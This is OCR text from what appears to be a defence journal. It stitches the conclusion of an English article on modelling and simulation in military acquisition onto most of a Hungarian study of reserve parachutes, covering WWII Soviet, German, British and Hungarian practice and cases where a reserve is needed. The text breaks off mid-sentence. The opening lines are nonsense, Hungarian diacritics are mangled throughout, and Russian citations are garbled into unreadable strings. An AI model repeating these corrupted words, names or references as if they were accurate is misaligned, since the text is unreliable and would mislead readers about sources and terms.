Cornteeabiet
FHE dratin,ei
Anigrd dpatern

Modet

Figure 10
Drop test simulation capabilities using Altair Hyperworks software.

Source: ‘Altair Radioss Overview', Altair. Available: https://altairhyperworks.com/product/RADIOSS
(06.10.2019))

Disposal

The final phase of disposal can also be facilitated by using M&S. Components of the
existing agent-based model will still be usable. However, the disposal will require
the addition of new components dealing with possible secondary markets, financial
issues relating to on-sales, financial issues relating to final disposal, environmental
issues, and so on.

Conclusions

DoD Acquisition Modelling & Simulation (M&S) is usually not viewed by program
managers as cost or schedule effective, although for systems engineers who have
to deal with the development process of weapons systems it is an essential design
tool. The potential for modelling and simulation tools and techniques to play a criti-
cal role in the development of military and general systems have by no means been
exhausted. The study has shown that systems engineers now have at their disposal
a comprehensive range of M&S tools and techniques to address all aspects of the
systems engineering process. The technological evolution has made a transition from
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a complete absence of M&S capability, with its consequent impact on the provision
of cost-effective, reliable systems to meet user needs, through a position where the
prevalence of digital computing leaves no excuse for the lack of effective M&S. The
key for systems engineers, however, is to be thoroughly familiar with the range of tools
and techniques that are available (in other words, to possess so-called declarative
knowledge relevant to M&S), and, necessarily, to understand when and why these
tools and techniques can be applied in the development of complex systems. When
these are brought together with a knowledge of how the tools and techniques are
used (procedural knowledge), then systems engineers are fully equipped to make use
of their knowledge and skills. This combination of the forms of knowledge is referred
to as functioning knowledge and is seen as particularly necessary to the effective
utilisation of modelling and simulation in systems engineering.
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A lehetséges ,tronkovetelSk” dsszevetése
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a tartalék ejt6ernyd vizsgalata
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the Inauguration Process of a New Type of Personnel
Airborne Troop Parachute, Part Ill.

Comparison of the Possible ‘Pretenders’ from the Point of View of
Future Appliers: the Examination of the Reserve Parachute

Tobbrészes tanulmanyom a Magyar Honvédség (MH) uj személyi légideszant
ejtéernyd rendszerrel torténd ellatasanak sziikségességére hivja fel a figyelmet,
és természetesen javaslatot tesz a beszerzésre irdnyulé kezdeti lépések megtételére.
Tanulmanyom elsé részében napjaink legelterjedtebben alkalmazott konvencio-
nalis személyi légideszant ejternyd rendszereit és kifejlesztésiik rovid torténetét
mutattam be. A lehetséges f6 ejt6ernyd tipusok technikai adatait és jellemzéit
az ugynevezett ,Klasszikus Harmas" alapjan, tanulmanyom masodik részében
vizsgaltam meg. Tanulmanyom harmadik részében — szintén ugyanezen médszer
alapjan - az elképzelt tartalék ejtéernyé tipusokat vizsgalom meg.
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The objective of my serial study is to highlight the necessity of introduction of
anew personnel airborne troop parachute system in the Hungarian Defence Forces
(HDF) and to make a proposal for the process of the procurement. In the first part
of my study | introduced the widely used modern conventional personnel airborne
troop parachute systems, the short development stories of them. | observed the
technical data and characteristics of the possible types of the main parachute in the
second part of my study according to the so called ‘Classical Triple’ method. In the
third part of my study | examine - also using the above mentioned method - the
imagined types of reserve parachute.

Keywords: paratrooper, personnel airborne troop parachute system, static line
drop, reserve parachute

Bevezetés

Tanulmanyom harmadik részét nem véletlenil szentelem a személyi légideszant
ejt6erny6 rendszer adott kodrilmények kdzott , fészerepet jatszd” elemének: a tartalék
ejtéernydnek.

Megdobbentd tény, de a (kozel)multban a személyi ejt6erny8s deszantfel-
adatok technikai biztositasa terén ezen eszkz6k alkalmazasa még korantsem volt
altalanosan elfogadott gyakorlat. Hogy az adott (torténelmi) helyzetben ennek mi
volt a — bizonyos néz8pontbol még érthetd, de személy szerint altalam semmifé-
leképpen sem elfogadhaté — magyarazata, nem csak tanulmanyom jelen részének
szempontjabél bir(hat) jelentéséggel. Ugy gondolom, hogy az elsé két részben? mar
emlitett, az ejtéerny8s tudomanyteriiletet (!) sok esetben csak felszinesen ,ismerd”
jovend6 dontéshozo(k) ilyen iranyu tajékoztatasa sem lesz hiabavalo.

A tartalék ejt6erny6 katonai alkalmazasanak torténete
A kezdetek...

Az ,ejt8ernyds gyalogsagot” megteremtd, majd harcaszati és hadmuiveleti szint(i
gyakorlatokon el&szor kiprobald Szovjetuniot mar a kezdet kezdetén az jellemezte,
hogy a tartalék ejt6ernyd viselése nem opcio, hanem kotelez6 az ejtéernyés ugras
végrehajtasa soran. Az 1930. augusztus 2-an késziilt felvétel (1. abra) ebbél a szem-
pontbdl is jelzésértékd.

2 1d.: Szaniszlé Zsolt: Uj személyi légideszant ejtSernyétipus rendszerbe allitasa elétt a Magyar Honvédség
. rész. A lehetséges ,tronkdveteldk” ,sziiletése”. Hadmérndk, 10. (2015), 3. 267-278.; Szaniszlé Zsolt: Uj
személyi légideszant ejtéernyétipus rendszerbe allitasa elétt a Magyar Honvédség II. rész. A lehetséges
stronkovetelSk” Osszevetése a jovendd alkalmazd szempontjabdl: a f6 ejtéerny6 vizsgalata. Hadmérnok,
13.(2018), 1. 41-57.
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1. abra

A szovjet [égideszant sziiletésnapja. A tartalék ejt6ernybk hajtogatasaért felelés szakember: V. G.
Baranov (kézépen) az ugrok mésodik hatos csoportjaval.
Forréas: MiBan W. Jincos: CBob6oaHbIV nosneT. Mocksa, ,Monoaas lBapauns”, 1979. 66-67.

A tartalék ejt6erny6 fontossagat szemlélteti a kovetkez6 dsszeallitas is, amely a szovjet
katonai, illetve polgari (sport) célu ejt6erny6zés 1931-re (!) elért eredményeit mutatja:
»1isztaztak néhany szakkérdést is:
1. Kivalasztottak a gyakorléugrasok szamara legmegfelel6bb géptipust.
2. Meghataroztak a legcélszer(ibb ugras-magassagokat és repliilési sebességet.
3. Kidolgozték a hasernyd hasznalatanak szabalyait.
4. Megallapitottak azokat a meteoroldgiai feltételeket, amelyek mellett még
veszélytelenil lehet gyakorléugrast végrehajtani.
5. Kidolgoztak a kiképzés anyagat és modszertanat stb.™

Ejt6erny&s szemmel olvasva a fentieket, kijelenthetjik: tulajdonképpen minden
benne van, amely a tevékenység biztonsagos végrehaijtasahoz sziikséges. Igy a tartalék
ejtéerny6vel kapcsolatos kitétel sem véletlentil keriilt a harmadik helyre: amennyiben
az ejtéerny6s — a f6 ejtéerny6 részleges vagy teljes meghibasodasa esetén — nem
ismeri fel, hogy sziikségessé valt annak hasznalata, és nem cselekszik az el8irasok
szerint, akkor abba bele is halhat.

®  Bacskai Gyorgyi et alii: Selyemszarnyakon. Ismerkedés az ejtéernydzéssel. Budapest, Zrinyi, 1969. 34.
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Az1930-as évek kdzepére kiképzésre, gyakorlasra kifejlesztett szovjet—az ,Irvin-rend-
szeren” (az ugro egy kézi kioldofogantyuval 6nmaga kell hogy nyissa az ejtéerny6t
zuhanas kozben) alapulo - f6 ejtéernyé tipus: a PT*-1 még fizikai megjelenése okan
is igazodott a tartalék ejtéerny&vel kapcsolatos kezdeti, példaértékii hozzaallashoz:
a hasi ejtéernyé felszakadd hevedervégeit egyszerlien hozzavarrtak a f6 ejtéernyé-he-
vederzet vallrészéhez,® hogy azt ,véletlenil se lehessen” a foldon hagyni. (A Nagy
Honvédd Haboru idején megjelent, mar bekotdtt nyitasi rendszerrel is miikodtethetd
PD®-41-1tipusu légideszant f6 ejtéerny6-hevederzetéhez a tartalék ejt6ernydt kiilén
karabinerekkel lehetett rogziteni, amelyhez képest — a haboru utan népszer(i — PD-6
tipus ismét ,visszalépést” jelentett.)

Erdekes mddon a szovjet példat — egyaltalan nem kévették a tovabbi , uttérék”:
példaul az ejtSernyds és a leszallod deszantokat a Il. vildghaboruban szamos alkalommal
sikeresen alkalmazé Németorszag ejtéernyds vadaszai mind a gyakorld, mind a harci
ugrasaikat tartalék ejt6ernyd nélkil hajtottak végre. Hogy miért dontottek igy, arra
érdemes roviden kitérni.

A német hadvezetés személyi ejt6ernyds deszantkoncepcidja az alacsony magas-
sagbol végrehajtott, tdmeges ejtéernyds kijuttatast jelentette, amely tokéletesen
illeszkedett:

Technikai szempontbol a Wehrmacht részére kifejlesztett, majd rendszeresitett
sajat RZ tipusu f6ejtéerny6ik’ egyszerl nyitasi rendszeréhez, amely tokéletesen
illeszkedve az ejt8erny6s dobdshoz nagyobb szamban alkalmazott repilétechnikak
(elsésorban a Ju-52 tipus) altal biztositott dobasi jellemz8ihez. Az RZ-1, majd -16,
-20 és -36 tipusok® mind az Ugynevezett ,Heinecke-rendszer” alapjan® muikodtek,
és a viszonylag kis dobasi sebesség™ a kupolanyilasi rendellenességek kialakulasanak
valoszinliségét egyértelm(ien kizarta.

Kiképzésmddszertani szempontbdl az Ugynevezett ,német precizitashoz”, vagyis
az ejtéernydk ugrashoz torténd eldkészitettségéhez és a biztonsagos kupolabe-
lobbanast megel6z6, az ejtéernyd-zsindrzat és a kupola komplexumanak tokbol
torténd kihtizdédasat elésegit6 szabalyos gépelhagyashoz. Az értelemszerlien gon-
dosan hajtogatott ejtéerny6 biztonsdgos miikodése igy tulajdonképpen mar ,csak”
az ejtéerny6s ugro aktiv kdzrem(ikodésén mulott: a rendkiviil pontos gépelhagyasi
és egyben nyitasi testhelyzet (2. és 3. abra) készségszintli begyakorlasan, majd
valos végrehajtasan.

4 NapauwtoT TpeHNpoBoYHbIN — MT.

> M. N. Muporos - C. M. BuHorpagos: llapawomusm. Bonpocsl, meopuu u npakmuku napawromHo20 oena.
Mocka, PegakunonHo-M3gatenscknin Otgen Aspodnota, 1936. 114.

¢ MNapauwtoT ecaHTHbini — M.

7 Anémet ejtéernyd tipusmegnevezése utal annak nyitsi rendszerére, valamint a kialakitasara: kényszerkioldasu
(bekotott nyitasi rendszerd) és hati (Rickenpackung Zwangauslésung — RZ).

8 John Weeks: The airborne soldier. Dorset, Blandford Press, 1982. 35.

°  Szaniszl6 (2018) i. m. (2. lj.) 43.

' Anapjainkban alkalmazott nyugati légideszant f6 ejtSerny6 tipusok —pl. a T-10, a T-11 és az MC-6 (SF-10A) - nyi-
tasi rendszerei is még mind az un. ,Heinecke-rendszeren” alapulnak. A gyakorlati tapasztalatok igazoltak, hogy
az un. ,Mae West" (,szalatcsapddasos nyilasi rendellenesség”) bekovetkezését eldidézs un. ,sailing” (,vitorla-
zas") -jelenség kialakulasara kb. 130 knots (kb. 240 m/h) dobasi sebesség foltt van csak lehetdség, a Ju-52 tipus
azonban ennél kisebb sebességgel dobta az ejtéernydsoket.
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2. abra
Német ejtéernyds vadasz szabalyos gépelhagyasi testhelyzete Ju-52 tipust repiil6gépbél vald ugras soran.
Forras: Walter Seride: Soldaten fallen vom himmel. Berlin, Schiitzen Verlag, (reprint), 1968. 64.

3. abra
A gépelhagyasi testhelyzet eqy masik kameradllasbdl. Jol megfigyelhet6 az alacsony dobasi magassag.
Forras: Seride (1968) i. m.

A fentieket a kés6bbi német villamhaborus sikerek is igazoltak, és egyben tulajdonképpen

welis vetették” a tartalék ejt6erny6 rendszeresitésével kapcsolatos esetleges igényeket.
A brit légideszant katonai ejtéernyds ugrasaikat kezdetben Whitley tipusi bombazo

repilSgépek alsd, kis méretii buvonyilasan keresztil (4. és 5. dbra) hajtottak végre.
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4. 3bra
1941. Brit ejt6erny6s6k eqy Whitley tipusi bombazdrepiild sziik belsé terében, felszallas el6tt vagy
a dobasi zona felé tartva, mivel X tipusu féejtéernySk bekétkételei még nincsenek régzitve.
Forras: www.pinterest.co.uk/pin/531143349786605036/ (A letéltés datuma: 2019. 04. 10.)

5.4bra

1942. Ringway, Egyesiilt Kirdlysdg. Belga ejtéernydsdk gyakorlati kiképzése.

Forras: https://commons.wikimedia.org/wiki/File:Belgians_Train_in_England-_Parachute _Training_at_
Ringway, Near_Manchester, 1942_D8710.jpg (A letoltés datuma: 2019. 03.19.)

»AVvOros 6rdogok” igy tartalék ejternyé nélkil ,estek at” a Il. vilaghaborus tlizkereszt-
ségen, a f6 ejtéerny6n kivil , csak” egyéni felszereléseiket (példaul specialis ejt6ernyds
sisak, bakancs stb.) viselték ,,a mennyekbél valé zuhanas soran”. Vélelmezhet6, hogy
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esetiikben abombazd repiilégép szlik belsé terének és a gépelhagyas bonyolultsaganak™
volt ,kdszonhet&” a tartalék ejt6ernyd nélkili ugras, de ennek kockazatat a GQ Para-
chute Inc. altal gyartott, — szintén a ,Heinecke-rendszeren” alapulé — bekotott nyitasi
rendszer(i X tipusut f6 ejtéernyd™ (lasd 4. és 9. abra) okan ,bevallalhatonak” itélték.

Bizonyitott, hogy a magyar katonai ejtéernyds fegyvernemet megalapité vitéz
Bertalan Arpad —a Magyar Kiralyi Honvédség szazadosa — altal vezetett kisérleti keret™
tagjai sem alkalmaztak kezdetben minden ugrasukhoz tartalék ejt6ernyét, de teljesen
mas okbdl kifolydlag, mint német és brit ,kollégaik”.

A magyar katonai ejtéerny6zést —mar akkor is — ,szerény” anyagi-technikai feltéte-
lek jellemezték: az alapitd egy 7 fés tiszti csoporttal kezdte meg a kisérleti-mddszertani
ugrasokat 1938-ban, amely — labtorések miatt — 2 fével csokkent, majd a maradék
(") darab, kilonféle eredetdi Irvin, Schroeder és Salvatore tipust ejt6erny6 allt rendel-
kezéslikre, amelyet a HM Repiilési Osztalya még néhany készlet Heinecke tipusu piléta
mentdejtéernyével és Salvatore tipusu hasi tartalék ejtéernyével egészitett ki,' igy
nem csoda, hogy elédeink olyan f6 ejt6erny&vel is hajtottak végre ugrast, amelynek
hevederéhez a tartalék ejt6ernyé rogzitése fizikailag is lehetetlen volt (6. abra).

6. dbra

Oten négqy kiilénbéz6 tipust ejtéernydvel. Tassonyi Edémér f6hadnagy (balrél a mésodik) ugrési
feladatét a széles Gvhevederrel rendelkezé olasz Salvatore légideszant ejtGernydvel, tartalék (hasi)
ejtéernyd nélkiil hajtja végre.

Forras: Muzslai Pal hagyatékabdl, a RepTar Szolnoki Repiilémuzeum Kidllitdhely és Elmény-centrum
muzeoldgusainak jovoltabol.

A németekkel ellentétben az Egyesiilt Kiralysag hadvezetése kezdetben jocskan alabecsiilte az 1936-0s Un. ,kije-
vi sokk” jelentSségét, amely hatraltatta a szigetorszag Uj fegyvernemének ,megsziiletését”. A fejl6dést az ejts-
erny6s kijuttatast optimalisan biztositd, megfeleld méretii és elhelyezkedésii ajtokkal rendelkezd szallitd repii-
|6gépek alapvet6 hianya gétolta, ez vezetett a régi bombazdk uj feladatkérben térténd alkalmazasahoz.

12 Philip De Ste Croix: Airborne operations. London, Salamander Books Ltd. 1978. 9.

Egy olyan harcészati szintti célok elérésére alkalmazhatd katonai egység létrehozasat kaptak torténelmi felada-
tul, amelyhez — mint a m(iveleti teriiletre torténd egyik specialis kijuttatasi médszer — a gyakorlati ejtéernyds
tapasztalatok megszerzése is nélkiilozhetetlenné valt.

™ Simon Laszlo: A magyar katonai ejtéerny6zés révid torténete. Magyar Szdrnyak, 24. (1996), 24. 261-271. 263.
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A fenti, kényszerliség ,sziilte” ,megoldas” a Hehs Akos szkv. mérnok szazados
altal megalkotott 39 M, Ugynevezett ,kettds gyakorld erny&” — vagyis egy kdz0s fel-
fliggeszt6rendszerhez csatlakoztatott f&- és tartalék ejtéernyd — 1939-es évi rendsze-
resitését kovetéen a mult homalyaba veszett. A tartalék ejtéernyd kotelez6 viselése,
valamint szlikségessé valasa esetén az alkalmazasardl térténd dontés idében térténd
meghozatala és annak készségszintli végrehajtasa nem egy magyar ejtéernyés katona
,0sunk” életét mentette meg.

A ll. vilaghabort id6szaka

Tény, hogy mindsitett (haborus) korilmények kozétt ,volt lehetdség” a békeidében
egyébként szigoru biztonsagi el&irasok — véleményem szerint néha az észszer(iséget is
joval tullép6 mddon torténd - felllbiralasara, —amely alol még a tartalék ejtéernyd-
vel kapcsolatosak sem maradhattak kivételek — amennyiben az szlikségszer(ivé valt
az elérendd katonai siker érdekében. Az ilyen esetek szama — nem rendelkezvén velik
kapcsolatos megdonthetetlen bizonyitékokkal — sok esetben kérdéses, de ez nem azt
jelenti, hogy ilyenek ne fordultak volna el6 még azoknal az ,ejt8erny6s nemzeteknél”
is, ahol a tartalék ejtéerny6nek kezdetben kiiléndsen nagy jelent8séget tulajdoni-
tottak. Ezt a tanulmany terjedelmének végessége miatt csak harom, felvétellel is
dokumentalt példaval igazolom.

Az els6 eset a magyar katonai ejtéerny6sok elsé harci bevetéséhez kotédik,
akiknek hozzaallasa a tartalék ejtéernyd kotelez6 viseléséhez egyébként soha nem
volt kérdéses (7. abra).

7. 4bra

A Magyar Kiralyi Honvédség ejtéernydse f6- és tartalék ejtéernydje kupolai alatt ereszkedik. A felvétel
nyilvanvaléan nem az ujvidéki bevetésen késziilt, hiszen el6deink elsé harci ugrasukat mar alkonyat utan
hajtottak végre.

Forras: Muzslai P4l hagyatékabdl, a RepTar Szolnoki Repiilémuzeum Kiallitohely és Elmény-centrum
muzeoldgusainak jovoltabdl a kiadvanyban talalhatd Az ejtSernyds ezred torténete képekben cimti
képgy(ijteménybél.
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A kovetkezd idézet részlet a vallalkozas egyik végrehajtojanak™ visszaemlékezésébdl:

»Mikor harom szallitégépiink a cél kdzelébe ért, kigyulladt a lampa, ezzel meg-
adtak a jelet az ugrasra. Megkezdtiik hat a gép elhagyasat. En elsének ugrottam, de
a megbeszélésnek megfeleléen el6bb kioldottam a csomagtér zarjat, hogy az ejt6tar-
talyok veliink egyidében érjenek foldet. igy is tértént! A parancs értelmében mindkét
ejt6ernyénket kinyitottuk, hogy nagy létszammal végrehajtott deszant hadml(velet
latszatat keltve megfélemlitsiik az ellenséget.”®

A masodik eset kiilonlegességét viszont az jelenti, hogy éppen a tartalék ejtSer-
ny6t —kezdetben - a teljes ejt6ernyds felszerelés kotelez6 tartozékaként kezeld szovjet
ejtéernyds gyakorlat ,csinalt hatraarcot: eléfordult, hogy az allomany kozel fele (!) , csak”
PD-6 vagy PD-41-1 tipusti f& ejt6ernyét viselt az ugrasi feladat végrehajtasahoz (8. abra).

8. abra

Szovjet diverzéns csoport tagjai az ejtéernyds dobasra is alkalmazott TB-3 (ANT-7) tipusti bombazé
repilégéplik felszallasara varnak. Tizenegybdl éten (1) hasi tartalék ejtéernyd nélkiil indulnak bevetésre
az ellenséges vonalak mége.

Forras: Mogpa3szeneHne COBETCKUX eCaHTHUKOB Ha IeTHOM MoJie aspoApoMa y 6oM6apAnpoBLLvKoB Th-3.
Elérhetd: http://waralbum.ru/wp-content/uploads/2015/01/01113.jpg (A letoltés datuma: 2019. 03.19.)

Bar nincs hiteles magyarazat erre a ,devianciara”, de vélelmezhetd, hogy a tartalék
ejtéerny6t 6nként (1) ,a foldon hagyo” szovjet deszantosok a nagyobb gyakorlati
(ugrési) tapasztalattal rendelkez6k kozil keriltek ki, és erre a dontésiikre nem a ren-
delkezésre allo (raktarban talalt) tartalék ejt6erny6k minimalis szama késztette éket.

> Budai Ferenc 6rmester géppuskasként vett részt a szenttamasi hid elfoglalasara inditott bevetésben és a haborut
is szerencsésen tulélte.
e Huszar Janos: Honvéd ejtéernydsok Papan 1939-1945. Papa, a Jokai Kor kiadvanya, 1993. 74.
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Aharmadik eset azt példazza: a koz0s bevetésen részt vev6 nemzetek katonai sem
alkalmazték feltétlenil ugyanazt az ejtéernys-technikat (9. abra), még akkor sem, ha
adobas ,egyéb” koriilményei—a repiilégép tipusa,” a dobas sebessége és magassaga,
valamint a f6 ejt6ernyd nyitasi rendszere — azonosak voltak.

9. 4bra

Szbvetségesek egy C-47 (DC-3) ,Dakota” mellett, az arnheimi akcid el6tt. Az amerikai ejtSernyds hasi
tartalék ejtGernydvel ellatott T-7 tipusu, mig a brit légideszantos hasi tartalék ejtéernyd nélkiil, X tipusu
f6 ejtéernyével indul bevetésre.

Forras: a szerzd sajat ejtéernyds fényképgyijteményébdl. Eredete ismeretlen.

A hideghaborutdl napjainkig

Tanulmanyomban mar emlitettem, hogy az ,egyre fagyosabba valo” nemzetkdzi poli-
tika hatasara egymastol ,elhidegils” keleti és nyugati vilagrész katonai szakértéi az U
légideszant-koncepcié megteremtése céljabodl alaposan kiértékelték a ll. vildghaboru
tapasztalatait. Ennek eredményeként a tovabbiakban mar senki sem kérddjelezte meg,
hogy egy ejtéernyds deszant (al-/magasabb) egység harcfeladata megkezdésének
alapfeltételét a sikeres foldet érés jelenti, amelynek — minden oldalu - biztositasa
a siker elérése érdekében nélkiilozhetetlen.

Ez a felismerés a tartalék ejt8erny6hoz vald hozzaallast —amely szerint a tartalék
ejtéernyd a légideszantos katona teljes ejtéernyds felszerelésének kotelezé tartozéka —is
alapvet6en egységesitette, de ez nem jelentette azt, hogy a ll. vildghaborut kdvetden

7 A ,Market Garden" feddnevii hadmlivelet soran az Egyesilt Kirdlysag légideszantosainak tébb mint a fele
az Amerikai Egyesiilt Allamoktdl kdlcsénkapott (1) C-47 (DC-3) -as szallitogépbél hajtotta végre ugrasat. Nem
tisztazott, hogy ejtéernyét is ajanlottak-e fel hasznalatra a briteknek, de tény, hogy ,a vorés 6rdogok” ebben
az esetben is a sajat személyi légideszant f6 ejtSernydjiiket hasznaltak, ,természetesen” tartalék ejtéernyd nél-
kal.
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mindig viselték is a tartalék ejternyét. (Példa erre hazankban 1948-ban, Rénai Mihaly
piléta mentSejtSernySvel'® végrehajtott egyéni bemutatdja, mig a Szovjetunidban
1968. marcius 1-jén 50 f6ejtSernyés [katona]sportold 5 db AN-2 tipust repiil6gépbdl,
100 m-es magassagbol [!] D-1 tipusu légideszant ejtéernySvel'™ végrehajtott csoportos
ugrasa: a kivételt a propagandisztikus célu ugrasok jelentették!)

A tartalék ejtéerny6 ,jelenléte” viszont az alkalmazasi koncepcidt — a repdilési/
dobasi magassagot — modositotta (novelte) jelent&sen, amely — a dobast biztositd
repil&technikaval parhuzamosan - az ejt6ernyé-technika teriiletén is komoly fejls-
déshez vezetett, egyre korszer(ibb tipusok megjelenésében megmutatkozva. igy azok
a konstrukcios elvek, amelyek alapjan az MH jovendé tartalék ejtéernyd tipusat (is)
megalkottak, az azota eltelt tobb mint hét évtized gyakorlati (ugrasi) tapasztalatain
alapulnak.

Miel6tt belemélyednénk az MH - altalam elképzelt - jovendé tartalék ejtSer-
ny6jét (is) esetlegesen tartalmazé tablazatba, réviden at kell, hogy tekintstik mind-
azon helyzeteket, amikor a tartalék ejt6ernyd megléte és elirasszerli mikodtetése
nemcsak szlikséges, de — ahogy mar tobbszdr kihangsulyoztam — sz6 szerint véve is
életbevagd fontossagu lehet.

A tartalék ejt6erny6 meglétének és miikodtetésének sziikségessége

A kovetkez&kben — a gépelhagyastol kezdve egészen a foldet érésig — csak azt négy
tipikus esetet mutatom be réviden, amelyek mar a ,tronkovetelSkkel” (is) el6fordul-
tak,? illetve a jovében (is) el6fordulhatnak.

Az ejtéernyds ugro gépelhagyasa soran fennakad a dobast végzé légi jarmdivon

Ez a helyzet kozvetleniil a kiugrast kovetSen alakulhat ki az ejt6ernyés ugro helytelen
gépelhagyasi technikajara visszavezetheté mddon, aki a bekdtékotelénél vagy azide-
jekoran mikodésbe lépett f6 ejtéerny6 kupolajanal fogva a dobast végz6 — tobbnyire
nagyobb sebességli — légi jarmUi ,foglya marad” és vonszolddik utana a levegében.
Abba jobb bele sem gondolni, hogy mi térténhet akkor, ha a repiiléeszkdznek igy kell
végrehajtania a leszallast.

Ezért nem véletlen, hogy tobb, ejtéernyds dobasra (is) alkalmas repulégép-
és helikoptertipus légi lizemeltetési utasitasaban talalhato olyan alfejezet, amely
leirja a fennakadt, és alapvet&en cselekvésképtelenné valt ugro fedélzetre torténd
visszahuzasanak modjat.

Amig az ejt6erny8s dobasra is alkalmas C-17 tipusu nehéz szallitogép esetében
ez mar a repil6gép-tervezési kritériumok kdzott is szerepelt — és ennek eredményeként
az eljarashoz szlikséges felszerelés is rendelkezésre all a fedélzeten —, addig a régebbi

'8 Dvorak Ede: Az elsék kozott voltak... Misi bacsi. Repiilés, 61. (1988), 1. 4.

¥ MeaH W. Jincos: 3emng-Hebo-3emns. Mocksa, JOCAAD, 1973. 141-144.

% Tanulmanyom jelen részének, Példék a lehetséges tartalék , tronkéveteldk” eddigi éles alkalmazasara cimi fejeze-
tében ezek egy részét képekkel is (ld. 23-26. abra) szemléltetem.
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tipusoknal erre a gyakorlatban el6fordult eset(ek) kényszeritett(ek) ki valamilyen
megoldast. (Itt érdemes megemliteni, hogy példaul kotél végére erdsitett ment6-
horog meglétét korabban nemcsak a magyar katonai,?' de a polgari (sport) repiilésre
vonatkozé# lizembentartdi intézkedés is eldirtal Viszont azt is fontos megjegyezni,
hogy ez tobbnyire csak békeid6szakban, a kiképzési/gyakorld ejtéernyés ugrasok esetén
valésithaté meg. Harci koriilmények kdzott ugyanis még a meglévé technikai feltételek
esetén sincs mindig lehetdség a repiiléeszkoz utan vonszolodd ugro visszahizasara!)
Ebben az esetben az egyediili megoldas a tulélésre: a repiil6eszkdzt6l torténd
megszabadulast kdvetéen a tartalék ejtéernyd azonnali miikddtetése.

A f6 ejternyd a nyilasi folyamat soran miikodésképtelenné valik

Ez a helyzet a gépelhagyast kévetden jelentkezhet, miutan az ejtéernyds ugro fizikai
(bekotskoteles) kapcsolata mar megszakadt a dobast végzé replil6technikaval, és attdl
jelent8sen eltavolodott a leveg6ben. Bekdvetkezésekor — példaul a bekdtdkotél sza-
kadasa vagy egy esetleges tokzar6das miatt — a f6 ejt6ernyd vagy egyaltalan nem
jut ki az ejtéerny6tokbol a légaramlatba, vagy a kupola akad bele az ugré valamely
testrészébe olyan mddon, amely meggatolja annak nyilasi folyamatat, de akar az is
eléfordulhat, hogy a belobbanas soran a fellépé tulterhelési tébbes a kupola és/vagy
a zsindrzat sériilését okozza. Noha ez harom kiilonbozd esetet jelent, kimenetelik
mégis ugyanaz: az ejtéerny8s ugré az elirtak szerint miikodé f6 ejtéerny6 altal biz-
tositottnal (joval) nagyobb sebességgel fog kdzeledni a foldfelszinhez, amely halalt
vagy sulyos sériilést eredményezhet.

Ebben az esetben az egyediili megoldas az el6z&vel megegyezd: a tartalék ejté-
erny6 azonnali mlkddtetése.

A f6 ejternyd az ejtéernyds ereszkedés soran miikodésképtelenné valik

Ez a helyzet az ejt8erny8s ugras végrehajtasanak legbiztonsagosabbnak vélt szaka-
szan?? kovetkezhet be, amikor az ejtéernyds mar a tokéletesen belobbant kupola
alatt ereszkedik.

Az ereszked6 ejtSernyGsre az ellenséges légvédelem és az esetleges termikjelen-
ség mellett — érdekes mdédon — a tobbi, még levegbben tartozkodo ,kolléga” és azok
ejtéernydi jelenthetnek veszélyt, elsésorban tdmeges dobas esetén. A , bajtars” — sz6-
jatékként (is) felfogva — ekkor egyben a baj okozoja is lesz: tarsa ejt6erny6zsinorjaiba
és/vagy kupoldjaba beleakadva, esetleg az ala siillyedve, annak kupolaja alél ,a levegét

2\ HHKSZ-77, 44. (Helikoptervezeték Harckiképzési Szakutasitasa) Gyakorlat: Repiilés a mélységi felderitd, illetve
az ejtéernyds deszantcsapatok kidobasara.

22 39. sz. Légligyi ElGiras és Végrehajtasi Utasitasa az ejtéernyds tevékenységrol és az ejtSernydk alkalmazasarol
(454347/1984.). 1998. majus, 22.

23 Az ejt6ernyd kupoldjanak belobbanasa utén az ejtéernydsbél, az ejt6ernyérendszerbdl, illetve a rogzitett szemé-
lyi fegyverbdl és/vagy felszerelésbél (pl. leengedhet6 ejtéernys teherzsak) allo teljes rendszerre haté terhelés
nagysaga alapesetben nem valtozhat meg, de egy masik ejtéernyds és annak ejtéernydje jelentésen befolyasol-
hatja az egyensulyban lévé (egyenletesen ereszked8) komplexum nyugalmi helyzetét.
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kilopva" akar mind a két ejtéernyét is ,,6sszeomlaszthatja”. Ez—mivel nincs biztositva
a foldet éréshez sziikséges, biztonsagos érték( siillyedési sebesség — sulyos sériilést,
esetlegesen halalt is okozhat.

Ebben az esetben (is) az egyedili megoldas a tulélésre: a tartalék ejtSernyd
azonnali miikddtetése, amely - a legjobb esetben — akar mind a két ejtéernyds ugro
,masodik sziiletésnapjanak” megiinnepléséhez (is) vezethet.

Az ejtbernyds ugrd , foldet érése” soran fennakad valamilyen akadalyon

Tanulmanyom elsé részében megfogalmazott Il. vilaghaborus tézis —vagyis: a biztonsagos
foldet érés és a tényleges harcfeladat megkezdése kéz6tti id6tartam dénté fontossagu
a tulélés szempontjabdl — rejti magaban a tartalék ejt6ernyé sziikségességének negye-
dik példajat.

El6fordulhat, hogy az ejt6ernyds katona a ,foldet érést” magas akadalyon, példaul
haztet6n, fa korondjan, nagyfesziiltség(i villamos fels6vezeték oszlopan stb. tudja
csak végrehajtani. Az MH-ban azt oktatjuk az alapképzésben részt vev6knek, hogy
az ugré — amennyiben nincs kdzvetlen életveszélyben -, fogsaga” helyszinét akkor
és csak akkor hagyja ott, ha meggy6z8dott arrol, hogy azt egyeddl is biztonsagosan
végre tudja hajtani, egyébként pedig varja meg a segitséget, amely az ejt6ernyds
ugrasszolgalat foldet érés ligyeletesének kdszonhetSen — kiképzési, illetve gyakorld
célu ejtéernyds ugrasok esetén — hamarosan érkezik. Harci ugrasnal azonban - ahol
a foldon az ejtéerny6st nem ez a szakszemélyzettag, hanem az ellenség varja—éppen
ennek az ellenkezdje javasolt: minél gyorsabban ki kell szabaditania magat,* de
nemcsak a harcfeladat gyors megkezdése, hanem sajat biztonsaga érdekében is: egy
akadalyon fennakadt ejtéernyds szinte kinalja magat arra, hogy megoljék.

A lehetséges ,tartalék ejtéernyéutodok”

Mivel tobbrészes tanulmanyom alapvetd céljanak a konvencionalis ejt6erny6 kupola-,
valamint tok-heveder rendszer kialakitasu légideszant ejt6erny6k vizsgalatat tliztem
ki, szandékosan hagytam figyelmen kiviil annak tényét, hogy — meglehetdsen ritkan
ugyan, de — a hagyomanyos (hasi) rendszert6l eltéré, ugynevezett ,tandemtokos”
(a f6 ejt6ernydvel kozos, hati tokban elhelyezett) elrendezés® is el6fordult.

Az alabbi tablazat csak a — tanulmanyom elsé részének 1. tablazataba foglalt,
az MH-ban éltalam elképzelt, rendszeresitésre keriilhetd f6 ejt6erny6khoz elsédlegesen
alkalmazott — hagyomanyos elrendezésti (hasi) tartalék ejtéernyd tipusok harcaszat-
